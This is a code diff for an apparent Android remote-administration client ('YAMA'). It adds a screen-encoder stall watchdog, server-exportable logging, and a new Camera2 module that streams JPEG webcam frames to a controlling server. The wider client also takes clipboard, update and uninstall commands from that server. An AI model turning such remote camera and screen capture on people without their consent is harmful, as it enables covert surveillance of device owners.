}
|
||||
|
||||
IOCPClient* m_client = nullptr;
|
||||
};
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "common/logger.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <queue>
|
||||
@@ -21,6 +22,11 @@
|
||||
#define LOGE_SH(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
|
||||
|
||||
extern uint64_t g_myClientID;
|
||||
// 定义在 main.cpp:把消息发进主控消息栏(TOKEN_CLIENT_MSG)。
|
||||
// 远程桌面编码器零输出时,主控端停在「请等待」,必须主动回一条说明。
|
||||
extern void SendClientMessageToMain(const char* title, const char* text);
|
||||
// 定义在 main.cpp:编码器零输出时让 Kotlin 用同一个 MediaProjection 重建采集管线。
|
||||
extern void NotifyEncoderStalled();
|
||||
// 定义在 main.cpp,供子连接的 OnReceive 调用
|
||||
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
|
||||
extern void DispatchClipboardText(const uint8_t* data, size_t size);
|
||||
@@ -113,7 +119,12 @@ public:
|
||||
memcpy(&buf[off + 16], &ss, sizeof(ss));
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), total);
|
||||
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
|
||||
// 档位和帧率一并打出来。Kotlin 侧真正喂给 MediaCodec 的 bitRateKbps / fps /
|
||||
// KEY_OPERATING_RATE 只进 logcat,主控端取不到;这里按 ScreenTuning 的规则
|
||||
// (fps = maxFps>0 ? maxFps : 档位表 maxFPS,再 clamp 到 1..60)就能反推,
|
||||
// 是判断「编码器为什么一帧不出」唯一能从服务端看到的线索。
|
||||
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64 " maxFps=%d level=%d",
|
||||
m_width, m_height, clientID, ss.MaxFPS, ss.QualityLevel);
|
||||
|
||||
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
|
||||
// 服务端在 auth 通过瞬间发 COMMAND_NEXT,此时 setManagerCallBack 尚未注册,
|
||||
@@ -267,11 +278,58 @@ private:
|
||||
std::thread m_sendThread;
|
||||
|
||||
void SendLoop() {
|
||||
// "一帧都没进来"是 Android 侧「请等待」最常见的成因:MediaProjection 被系统停掉、
|
||||
// createVirtualDisplay 返回 null、硬件编码器不接受当前尺寸,都会让 MediaCodec
|
||||
// 零输出。原先这里无限期阻塞在 wait 上,队列一直空就什么日志都不打,服务端只能
|
||||
// 干等。改成带超时的等待,把「没有帧」和「帧被当 P 帧丢弃」区分开。
|
||||
const auto startTick = std::chrono::steady_clock::now();
|
||||
bool noFrameWarned = false;
|
||||
bool stallNotified = false;
|
||||
while (m_running) {
|
||||
std::unique_lock<std::mutex> lk(m_mutex);
|
||||
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
|
||||
m_cond.wait_for(lk, std::chrono::seconds(1),
|
||||
[&]{ return (!m_queue.empty() && m_started) || !m_running; });
|
||||
if (!m_running) break;
|
||||
|
||||
if (m_queue.empty() || !m_started) {
|
||||
// 只在「一帧都没发出去过」时告警。发过首帧之后队列空是正常的:电视
|
||||
// 停在 launcher 这类静止画面时 SurfaceFlinger 不产生脏区,编码器就没
|
||||
// 输入,5 秒不打新帧属于预期行为,不能报成编码器故障。
|
||||
const auto elapsed = std::chrono::steady_clock::now() - startTick;
|
||||
if (!noFrameWarned && m_started && !m_firstSent &&
|
||||
elapsed > std::chrono::seconds(5)) {
|
||||
noFrameWarned = true;
|
||||
// 发消息/重建都是慢操作,不能拿着 m_mutex:生产者(编码回调)推帧要拿它。
|
||||
lk.unlock();
|
||||
LOGE_SH("SendLoop: no frame from MediaCodec after 5s — encoder is not producing "
|
||||
"(MediaProjection stopped, VirtualDisplay null, or unsupported %dx%d)",
|
||||
m_width, m_height);
|
||||
// 电视睡眠后常见:投影还在,但旧的 VirtualDisplay 收不到合成帧。先用同一个
|
||||
// MediaProjection 重建采集管线(不需要重新授权);重建结果由 Kotlin 侧记录。
|
||||
NotifyEncoderStalled();
|
||||
} else if (noFrameWarned && !stallNotified && m_started && !m_firstSent &&
|
||||
elapsed > std::chrono::seconds(13)) {
|
||||
stallNotified = true;
|
||||
// 自愈也没救回来:主控端停在「请等待……」,明确回一条消息说明原因。
|
||||
// 多个观看者各自 13 秒都会走到这里,进程内 60 秒只发一条,避免刷屏。
|
||||
lk.unlock();
|
||||
static std::atomic<long long> lastNotifyMs{0};
|
||||
const long long nowMs = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now().time_since_epoch()).count();
|
||||
long long prevMs = lastNotifyMs.load();
|
||||
// 多个观看者各自 13 秒都会走到这里;进程内 60 秒只发一条,避免刷屏。
|
||||
// prevMs == 0 表示本次开机还没发过(steady_clock 的 0 点是开机)。
|
||||
if ((prevMs == 0 || nowMs - prevMs > 60 * 1000) &&
|
||||
lastNotifyMs.compare_exchange_strong(prevMs, nowMs)) {
|
||||
SendClientMessageToMain(
|
||||
"Remote desktop",
|
||||
"The device screen encoder produced no frame (hardware encoder may reject "
|
||||
"this size or config). Remote desktop cannot start.");
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
Frame f = std::move(m_queue.front());
|
||||
m_queue.pop();
|
||||
lk.unlock();
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
// VideoHandlerAndroid.h - Android 摄像头管理(COMMAND_WEBCAM)
|
||||
//
|
||||
// 协议与 Windows 客户端一致(client/VideoManager.cpp、server/2015Remote/VideoDlg.cpp):
|
||||
// [TOKEN_WEBCAM_BITMAPINFO][BITMAPINFO] 服务端据此打开视频窗口;
|
||||
// 之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler:4][帧数据]。
|
||||
// 与 Windows 不同的是 BITMAPINFO 不在子连接建立时立即发,而是等第一帧到达、
|
||||
// 从 JPEG 的 SOF 里读出真实宽高再发(HAL 物理旋转会让宽高互换)。
|
||||
//
|
||||
// 与 Windows 的区别只在编码:Windows 用 VFW 的 MJPEG/H.263 编解码器,Android 相机
|
||||
// 原生输出 JPEG,fccHandler 用 WEBCAM_FOURCC_JPEG_DIRECT('JPGD'),服务端走
|
||||
// turbojpeg 直解,不依赖目标机安装任何编解码器。
|
||||
//
|
||||
// 采集与编码在 Kotlin 侧(CameraCapture.kt,Camera2 → ImageReader(JPEG)),这里只
|
||||
// 负责协议封装与 JPEG 广播;帧回调从 Java 线程进入(YamaBridge.nativeOnCameraJpeg)。
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cstring>
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
#include "common/commands.h"
|
||||
#include "common/logger.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局)
|
||||
|
||||
#define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__)
|
||||
|
||||
// 由 main.cpp 实现(JNI → CameraCapture.start/stop)
|
||||
bool StartJavaCamera(int* outWidth, int* outHeight);
|
||||
void StopJavaCamera();
|
||||
|
||||
class AndroidVideoHandler : public IOCPManager
|
||||
{
|
||||
public:
|
||||
explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {}
|
||||
~AndroidVideoHandler() override { StopCapture(); }
|
||||
|
||||
// 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false,
|
||||
// 调用方应关掉子连接并给主控回一条消息。
|
||||
bool StartCapture()
|
||||
{
|
||||
int w = 0, h = 0;
|
||||
if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false;
|
||||
m_width = w;
|
||||
m_height = h;
|
||||
m_running.store(true, std::memory_order_release);
|
||||
// BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理
|
||||
// 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准,
|
||||
// 服务端就不会因为尺寸对不上而丢帧黑屏。
|
||||
LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h);
|
||||
return true;
|
||||
}
|
||||
|
||||
void StopCapture()
|
||||
{
|
||||
if (!m_running.exchange(false)) return;
|
||||
StopJavaCamera();
|
||||
}
|
||||
|
||||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT:
|
||||
// 服务端视频窗口已打开
|
||||
m_dialogOpen.store(true, std::memory_order_relaxed);
|
||||
LOGE_V("camera dialog opened");
|
||||
break;
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS:
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS:
|
||||
// JPEG 帧始终是压缩数据,两个开关都不需要改编码路径
|
||||
break;
|
||||
default:
|
||||
LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程)
|
||||
void SendJpeg(const uint8_t* data, size_t len)
|
||||
{
|
||||
IOCPClient* client = m_client;
|
||||
if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0)
|
||||
return;
|
||||
|
||||
// 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口),
|
||||
// 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。
|
||||
if (!m_infoSent) {
|
||||
int w = m_width, h = m_height;
|
||||
if (JpegDimensions(data, len, &w, &h)) {
|
||||
m_width = w;
|
||||
m_height = h;
|
||||
}
|
||||
SendBitmapInfo();
|
||||
m_infoSent = true;
|
||||
LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len);
|
||||
} else if (!m_dialogOpen.load(std::memory_order_relaxed)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const size_t head = 1 + 1 + 4;
|
||||
std::vector<uint8_t> pkt(head + len);
|
||||
pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB;
|
||||
pkt[1] = 1; // isCompress
|
||||
uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT;
|
||||
memcpy(&pkt[2], &fcc, 4);
|
||||
memcpy(&pkt[head], data, len);
|
||||
client->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
int Width() const { return m_width; }
|
||||
int Height() const { return m_height; }
|
||||
|
||||
private:
|
||||
// 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。
|
||||
// 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。
|
||||
static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h)
|
||||
{
|
||||
if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false;
|
||||
size_t i = 2;
|
||||
while (i + 9 < n) {
|
||||
if (d[i] != 0xFF) { ++i; continue; }
|
||||
const uint8_t m = d[i + 1];
|
||||
if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; }
|
||||
if (i + 4 > n) return false;
|
||||
const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3];
|
||||
if (segLen < 2 || i + 2 + segLen > n) return false;
|
||||
const bool isSof =
|
||||
(m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) ||
|
||||
(m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF);
|
||||
if (isSof) {
|
||||
if (segLen < 7) return false;
|
||||
const int hh = ((int)d[i + 5] << 8) | d[i + 6];
|
||||
const int ww = ((int)d[i + 7] << 8) | d[i + 8];
|
||||
if (ww <= 0 || hh <= 0) return false;
|
||||
*w = ww;
|
||||
*h = hh;
|
||||
return true;
|
||||
}
|
||||
i += 2 + segLen;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。
|
||||
// Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors),
|
||||
// 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。
|
||||
void SendBitmapInfo()
|
||||
{
|
||||
if (!m_client) return;
|
||||
uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 };
|
||||
buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO;
|
||||
|
||||
BmpInfoHeader hdr{};
|
||||
hdr.biSize = sizeof(BmpInfoHeader);
|
||||
hdr.biWidth = m_width;
|
||||
hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致
|
||||
hdr.biPlanes = 1;
|
||||
hdr.biBitCount = 24; // 服务端解码成 BGR24
|
||||
hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图
|
||||
// DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释)
|
||||
const int stride = (m_width * 3 + 3) & ~3;
|
||||
hdr.biSizeImage = (uint32_t)(stride * m_height);
|
||||
memcpy(buf + 1, &hdr, sizeof(hdr));
|
||||
m_client->Send2Server((char*)buf, (ULONG)sizeof(buf));
|
||||
}
|
||||
|
||||
IOCPClient* m_client = nullptr;
|
||||
std::atomic<bool> m_running{false};
|
||||
std::atomic<bool> m_dialogOpen{false};
|
||||
bool m_infoSent = false;
|
||||
int m_width = 0;
|
||||
int m_height = 0;
|
||||
};
|
||||
+1157
-50
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,259 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.Manifest
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.ImageFormat
|
||||
import android.hardware.camera2.CameraCaptureSession
|
||||
import android.hardware.camera2.CameraCharacteristics
|
||||
import android.hardware.camera2.CameraDevice
|
||||
import android.hardware.camera2.CameraManager
|
||||
import android.hardware.camera2.CaptureRequest
|
||||
import android.media.ImageReader
|
||||
import android.os.Build
|
||||
import android.os.Handler
|
||||
import android.os.HandlerThread
|
||||
import android.os.SystemClock
|
||||
import android.util.Log
|
||||
import android.view.Surface
|
||||
import android.view.WindowManager
|
||||
import androidx.core.content.ContextCompat
|
||||
|
||||
/**
|
||||
* 摄像头管理(COMMAND_WEBCAM)的 Android 采集端。
|
||||
*
|
||||
* 走 Camera2 的 JPEG 输出:ImageReader 直接拿一帧完整 JPEG,交给 native 侧的
|
||||
* AndroidVideoHandler 按 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler=JPGD][JPEG]
|
||||
* 发给服务端;服务端用 turbojpeg 解码显示(不需要装任何 VFW 编解码器)。
|
||||
*
|
||||
* 为什么不用 MediaCodec H.264:服务端摄像头对话框原本走 VFW ICM 解码,H.264
|
||||
* 需要系统装 x264vfw;JPEG 直解改动最小、且 Android 相机原生支持 JPEG 输出。
|
||||
*
|
||||
* 生命周期:C++ 收到 COMMAND_WEBCAM 后调 start(),子连接断开时调 stop()。
|
||||
* start() 同步返回所选分辨率(可能为 null=无相机/无权限),真正开流是异步的:
|
||||
* 服务端已按返回的分辨率发 BITMAPINFO,第一帧通常比对话框打开晚几百毫秒。
|
||||
*/
|
||||
object CameraCapture {
|
||||
private const val TAG = "YAMA_CAM"
|
||||
private const val TARGET_FPS = 8
|
||||
private const val MIN_INTERVAL_MS = 1000L / TARGET_FPS
|
||||
// 720p 足够看清,且 8fps 的 JPEG 上行在弱网下也不至于把主连接挤死
|
||||
private const val MAX_W = 1280
|
||||
private const val MAX_H = 720
|
||||
|
||||
private var thread: HandlerThread? = null
|
||||
private var handler: Handler? = null
|
||||
private var camera: CameraDevice? = null
|
||||
private var session: CameraCaptureSession? = null
|
||||
private var reader: ImageReader? = null
|
||||
private var lastSent = 0L
|
||||
|
||||
@Volatile private var running = false
|
||||
@Volatile private var currentSize: IntArray? = null
|
||||
// 每次 start() 自增;旧相机的回调靠它识别「自己已经是上一代了」
|
||||
@Volatile private var generation = 0
|
||||
|
||||
/**
|
||||
* 打开摄像头。成功返回 [width, height];失败返回 null(无权限 / 无相机)。
|
||||
* 重复调用安全(已在采集时直接返回当前分辨率)。
|
||||
*/
|
||||
@JvmStatic
|
||||
@Synchronized
|
||||
fun start(): IntArray? {
|
||||
if (running) return currentSize
|
||||
|
||||
val ctx = CaptureService.instance ?: CaptureService.appContext ?: return null
|
||||
if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.CAMERA)
|
||||
!= PackageManager.PERMISSION_GRANTED) {
|
||||
Log.w(TAG, "start: CAMERA permission not granted")
|
||||
return null
|
||||
}
|
||||
val manager = ctx.getSystemService(Context.CAMERA_SERVICE) as? CameraManager ?: return null
|
||||
val cameraId = pickCamera(manager) ?: return null
|
||||
val size = pickSize(manager, cameraId) ?: return null
|
||||
|
||||
running = true
|
||||
val gen = ++generation
|
||||
currentSize = intArrayOf(size.first, size.second)
|
||||
lastSent = 0L
|
||||
|
||||
val ht = HandlerThread("yama-camera")
|
||||
ht.start()
|
||||
thread = ht
|
||||
handler = Handler(ht.looper)
|
||||
val h = handler!!
|
||||
|
||||
runCatching {
|
||||
manager.openCamera(cameraId, object : CameraDevice.StateCallback() {
|
||||
override fun onOpened(cam: CameraDevice) {
|
||||
if (!running || gen != generation) { cam.close(); return }
|
||||
camera = cam
|
||||
openSession(ctx, cam, size.first, size.second, gen)
|
||||
}
|
||||
|
||||
override fun onDisconnected(cam: CameraDevice) {
|
||||
Log.w(TAG, "camera disconnected")
|
||||
cam.close()
|
||||
if (camera === cam) camera = null
|
||||
}
|
||||
|
||||
override fun onError(cam: CameraDevice, error: Int) {
|
||||
Log.e(TAG, "camera error=$error")
|
||||
cam.close()
|
||||
if (camera === cam) camera = null
|
||||
// 让 native 侧知道这路会话没有画面,避免服务端对话框一直黑着
|
||||
runCatching { YamaBridge.nativeOnCameraError("Camera error $error") }
|
||||
}
|
||||
}, h)
|
||||
}.onFailure {
|
||||
Log.e(TAG, "openCamera failed: $it")
|
||||
stop()
|
||||
return null
|
||||
}
|
||||
|
||||
Log.i(TAG, "start: camera=$cameraId size=${size.first}x${size.second}")
|
||||
return currentSize
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
@Synchronized
|
||||
fun stop() {
|
||||
running = false
|
||||
currentSize = null
|
||||
// 先把当前这一代的句柄摘下来,避免删到下一次 start() 新建的 handler/camera:
|
||||
// stop 是 post 到旧 HandlerThread 上执行的,执行前 start() 可能已经跑完了。
|
||||
val h = handler
|
||||
val s = session
|
||||
val c = camera
|
||||
val r = reader
|
||||
val ht = thread
|
||||
session = null
|
||||
camera = null
|
||||
reader = null
|
||||
handler = null
|
||||
thread = null
|
||||
|
||||
val closer = {
|
||||
runCatching { s?.close() }
|
||||
runCatching { c?.close() }
|
||||
runCatching { r?.close() }
|
||||
runCatching { ht?.quitSafely() }
|
||||
Log.i(TAG, "camera stopped")
|
||||
Unit
|
||||
}
|
||||
if (h != null) h.post(closer) else closer()
|
||||
}
|
||||
|
||||
private fun openSession(ctx: Context, cam: CameraDevice, width: Int, height: Int, gen: Int) {
|
||||
// 这些调用跑在相机 HandlerThread 上,异常逃出去会直接杀进程
|
||||
val r = try {
|
||||
ImageReader.newInstance(width, height, ImageFormat.JPEG, 3)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "ImageReader.newInstance failed: $e")
|
||||
YamaBridge.nativeOnCameraError("Camera init failed")
|
||||
return
|
||||
}
|
||||
reader = r
|
||||
r.setOnImageAvailableListener({ ir ->
|
||||
val image = try { ir.acquireLatestImage() } catch (e: Exception) { null } ?: return@setOnImageAvailableListener
|
||||
try {
|
||||
if (!running || gen != generation) return@setOnImageAvailableListener
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
if (now - lastSent < MIN_INTERVAL_MS) return@setOnImageAvailableListener
|
||||
lastSent = now
|
||||
val buf = image.planes[0].buffer
|
||||
val bytes = ByteArray(buf.remaining())
|
||||
buf.get(bytes)
|
||||
YamaBridge.nativeOnCameraJpeg(bytes)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "frame failed: $e")
|
||||
} finally {
|
||||
image.close()
|
||||
}
|
||||
}, handler)
|
||||
|
||||
val surfaces = listOf(r.surface)
|
||||
val callback = object : CameraCaptureSession.StateCallback() {
|
||||
override fun onConfigured(s: CameraCaptureSession) {
|
||||
if (!running || gen != generation) { s.close(); return }
|
||||
session = s
|
||||
runCatching {
|
||||
val req = cam.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW)
|
||||
req.addTarget(r.surface)
|
||||
req.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO)
|
||||
req.set(CaptureRequest.JPEG_ORIENTATION, orientation(ctx, cam))
|
||||
s.setRepeatingRequest(req.build(), null, handler)
|
||||
Log.i(TAG, "repeating request started")
|
||||
}.onFailure {
|
||||
Log.e(TAG, "setRepeatingRequest failed: $it")
|
||||
YamaBridge.nativeOnCameraError("Camera stream failed")
|
||||
}
|
||||
}
|
||||
|
||||
override fun onConfigureFailed(s: CameraCaptureSession) {
|
||||
Log.e(TAG, "capture session configure failed")
|
||||
YamaBridge.nativeOnCameraError("Camera session failed")
|
||||
}
|
||||
}
|
||||
// createCaptureSession 在相机线程上执行,抛异常同样会杀进程
|
||||
try {
|
||||
@Suppress("DEPRECATION")
|
||||
cam.createCaptureSession(surfaces, callback, handler)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "createCaptureSession failed: $e")
|
||||
YamaBridge.nativeOnCameraError("Camera session failed")
|
||||
}
|
||||
}
|
||||
|
||||
/** 让 JPEG 按当前屏幕方向摆正(手机竖屏时传感器画面是横的)。 */
|
||||
private fun orientation(ctx: Context, cam: CameraDevice): Int {
|
||||
val chars = runCatching {
|
||||
(ctx.getSystemService(Context.CAMERA_SERVICE) as CameraManager)
|
||||
.getCameraCharacteristics(cam.id)
|
||||
}.getOrNull() ?: return 0
|
||||
val sensor = chars.get(CameraCharacteristics.SENSOR_ORIENTATION) ?: 0
|
||||
val facing = chars.get(CameraCharacteristics.LENS_FACING)
|
||||
|
||||
@Suppress("DEPRECATION")
|
||||
val wm = ctx.getSystemService(Context.WINDOW_SERVICE) as? WindowManager
|
||||
@Suppress("DEPRECATION")
|
||||
val rotation = runCatching { wm?.defaultDisplay?.rotation }.getOrNull() ?: Surface.ROTATION_0
|
||||
val device = when (rotation) {
|
||||
Surface.ROTATION_90 -> 90
|
||||
Surface.ROTATION_180 -> 180
|
||||
Surface.ROTATION_270 -> 270
|
||||
else -> 0
|
||||
}
|
||||
return if (facing == CameraCharacteristics.LENS_FACING_FRONT)
|
||||
(sensor + device) % 360
|
||||
else
|
||||
(sensor - device + 360) % 360
|
||||
}
|
||||
|
||||
private fun pickCamera(manager: CameraManager): String? {
|
||||
val ids = runCatching { manager.cameraIdList }.getOrNull() ?: return null
|
||||
if (ids.isEmpty()) return null
|
||||
// 优先后摄;电视盒子/无后摄设备退到任意一个
|
||||
for (id in ids) {
|
||||
val facing = runCatching {
|
||||
manager.getCameraCharacteristics(id).get(CameraCharacteristics.LENS_FACING)
|
||||
}.getOrNull()
|
||||
if (facing == CameraCharacteristics.LENS_FACING_BACK) return id
|
||||
}
|
||||
return ids.first()
|
||||
}
|
||||
|
||||
private fun pickSize(manager: CameraManager, id: String): Pair<Int, Int>? {
|
||||
val chars = runCatching { manager.getCameraCharacteristics(id) }.getOrNull() ?: return null
|
||||
val map = chars.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP) ?: return null
|
||||
val sizes = runCatching { map.getOutputSizes(ImageFormat.JPEG) }.getOrNull() ?: return null
|
||||
if (sizes.isEmpty()) return null
|
||||
val fit = sizes.filter { it.width <= MAX_W && it.height <= MAX_H }
|
||||
// 没有 ≤720p 的档位时选最小的一档:直接挑最大档会以 5-12 MP 推流,
|
||||
// 8fps 就能把控制连接挤死
|
||||
val best = if (fit.isNotEmpty()) fit.maxByOrNull { it.width * it.height }
|
||||
else sizes.minByOrNull { it.width * it.height }
|
||||
best ?: return null
|
||||
return best.width to best.height
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.IBinder
|
||||
import android.os.Looper
|
||||
import android.os.SystemClock
|
||||
import android.provider.Settings
|
||||
import android.util.DisplayMetrics
|
||||
import android.util.Log
|
||||
@@ -31,6 +32,18 @@ import android.widget.Toast
|
||||
|
||||
import java.nio.charset.Charset
|
||||
|
||||
// 关键日志同时写进 native 的 Logger ring(服务端「运行日志」/ MCP get_client_log 可导出)。
|
||||
// 电视等没有 adb 的设备上,这是唯一能把编码器状态带回主控的通道。
|
||||
// native 库没加载成功时退回落 logcat——否则「Native library load failed」这类
|
||||
// 关键错误反而看不到(那次调用本身就依赖 native 库)。
|
||||
private fun ylog(priority: Int, msg: String) {
|
||||
val ok = runCatching { YamaBridge.nativeLog(priority, "YAMA", msg) }.isSuccess
|
||||
if (!ok) Log.println(priority, "YAMA", msg)
|
||||
}
|
||||
private fun ylogI(msg: String) = ylog(Log.INFO, msg)
|
||||
private fun ylogW(msg: String) = ylog(Log.WARN, msg)
|
||||
private fun ylogE(msg: String) = ylog(Log.ERROR, msg)
|
||||
private fun ylogD(msg: String) = ylog(Log.DEBUG, msg)
|
||||
class CaptureService : Service() {
|
||||
|
||||
companion object {
|
||||
@@ -38,6 +51,9 @@ class CaptureService : Service() {
|
||||
const val CHANNEL_ID = "yama_service"
|
||||
const val NOTIF_ID = 1
|
||||
|
||||
// 采集零输出时重建管线的节流时间戳(毫秒)
|
||||
@Volatile private var lastStallRestartMs = 0L
|
||||
|
||||
const val EXTRA_SERVER_IP = "server_ip"
|
||||
const val EXTRA_SERVER_PORT = "server_port"
|
||||
const val EXTRA_PROJECTION_RESULT = "projection_result"
|
||||
@@ -63,7 +79,7 @@ class CaptureService : Service() {
|
||||
@JvmStatic
|
||||
fun onUpdateReceived(path: String) {
|
||||
val ctx = instance ?: appContext ?: return
|
||||
Log.i(TAG, "onUpdateReceived: $path")
|
||||
ylogI("onUpdateReceived: $path")
|
||||
UpdateInstaller.onApkReceived(ctx, path)
|
||||
}
|
||||
|
||||
@@ -71,7 +87,7 @@ class CaptureService : Service() {
|
||||
@JvmStatic
|
||||
fun onUninstallRequested() {
|
||||
val ctx = instance ?: appContext ?: return
|
||||
Log.i(TAG, "onUninstallRequested")
|
||||
ylogI("onUninstallRequested")
|
||||
Uninstaller.request(ctx)
|
||||
}
|
||||
|
||||
@@ -85,12 +101,12 @@ class CaptureService : Service() {
|
||||
fun onClipboardText(bytes: ByteArray) {
|
||||
val ctx = instance ?: appContext
|
||||
if (ctx == null) {
|
||||
Log.w(TAG, "onClipboardText: no context, ${bytes.size} bytes dropped")
|
||||
ylogW("onClipboardText: no context, ${bytes.size} bytes dropped")
|
||||
return
|
||||
}
|
||||
val cm = ctx.getSystemService(Context.CLIPBOARD_SERVICE) as? ClipboardManager
|
||||
if (cm == null) {
|
||||
Log.e(TAG, "onClipboardText: no ClipboardManager")
|
||||
ylogE("onClipboardText: no ClipboardManager")
|
||||
return
|
||||
}
|
||||
// 人类剪贴板同步(ScreenSpyDlg / HideScreenSpyDlg)发的是带 '\0' 结尾的 CF_TEXT,
|
||||
@@ -98,17 +114,17 @@ class CaptureService : Service() {
|
||||
val text = String(bytes, Charset.forName("GBK")).trimEnd('\u0000')
|
||||
try {
|
||||
cm.setPrimaryClip(ClipData.newPlainText("YAMA", text))
|
||||
Log.i(TAG, "onClipboardText: ${bytes.size} bytes, ${text.length} chars")
|
||||
ylogI("onClipboardText: ${bytes.size} bytes, ${text.length} chars")
|
||||
} catch (e: Throwable) {
|
||||
// Android 10+ 极少见地会在某些受限场景抛 SecurityException;记日志不崩 JNI 线程
|
||||
Log.e(TAG, "onClipboardText: setPrimaryClip failed: $e")
|
||||
ylogE("onClipboardText: setPrimaryClip failed: $e")
|
||||
}
|
||||
}
|
||||
|
||||
@JvmStatic
|
||||
fun onNativeExit() {
|
||||
val svc = instance ?: return
|
||||
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
|
||||
ylogI("onNativeExit: server requested disconnect, stopping service")
|
||||
svc.idrHandler.post { svc.stopSelf() }
|
||||
}
|
||||
|
||||
@@ -140,8 +156,8 @@ class CaptureService : Service() {
|
||||
p.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, kbps * 1000)
|
||||
codec.setParameters(p)
|
||||
svc.currentBitRateKbps = kbps
|
||||
Log.i(TAG, "bitrate -> $kbps kbps")
|
||||
}.onFailure { Log.e(TAG, "bitrate change to $kbps failed: $it") }
|
||||
ylogI("bitrate -> $kbps kbps")
|
||||
}.onFailure { ylogE("bitrate change to $kbps failed: $it") }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -160,17 +176,93 @@ class CaptureService : Service() {
|
||||
val w = ControlService.encW
|
||||
val h = ControlService.encH
|
||||
val dpi = svc.resources.displayMetrics.densityDpi
|
||||
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||
ylogD("forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||
vd.resize(w + 2, h, dpi)
|
||||
svc.idrHandler.postDelayed({
|
||||
runCatching { vd.resize(w, h, dpi) }
|
||||
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
|
||||
